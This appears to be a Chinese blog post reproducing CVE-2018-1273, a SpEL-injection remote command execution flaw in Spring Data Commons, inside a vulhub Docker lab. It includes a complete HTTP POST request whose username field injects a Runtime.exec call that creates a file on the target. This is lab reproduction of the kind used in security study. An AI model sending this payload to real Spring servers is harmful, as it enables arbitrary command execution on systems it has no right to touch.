CVE-2018-1273 Spring Data Commons 远程命令执行漏洞复现

时间:2023-03-08 22:06:04

一、漏洞描述

  Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

二、漏洞环境搭建

需要准备的工具如下:

1.docker+vulhub漏洞库
2.Burpsuite
3.靶机Ubuntu18.04虚拟机(其他也可以)

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273#

执行命令

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose up -d

等到出现以下页面证明已经搭建完成

CVE-2018-1273 Spring Data Commons 远程命令执行漏洞复现

可以访问http://your-ip:8080,出现如下页面证明环境搭建成功!

CVE-2018-1273 Spring Data Commons 远程命令执行漏洞复现

三、漏洞利用

1、注册用户,提交抓包

CVE-2018-1273 Spring Data Commons 远程命令执行漏洞复现

2、构造payload,进行发包测试

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.1.17:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://192.168.1.17:8080
Connection: close
Referer: http://192.168.1.17:8080/users
Upgrade-Insecure-Requests: 1 username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword=

服务器返回如下页面时,证明攻击成功!

CVE-2018-1273 Spring Data Commons 远程命令执行漏洞复现

3、进入Ubuntu环境中,执行

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose exec spring bash

进入目录,查看tmp下的目录成功出现2333文件,命令执行成功!

CVE-2018-1273 Spring Data Commons 远程命令执行漏洞复现

4、关闭docker环境

docker-compose down

CVE-2018-1273 Spring Data Commons 远程命令执行漏洞复现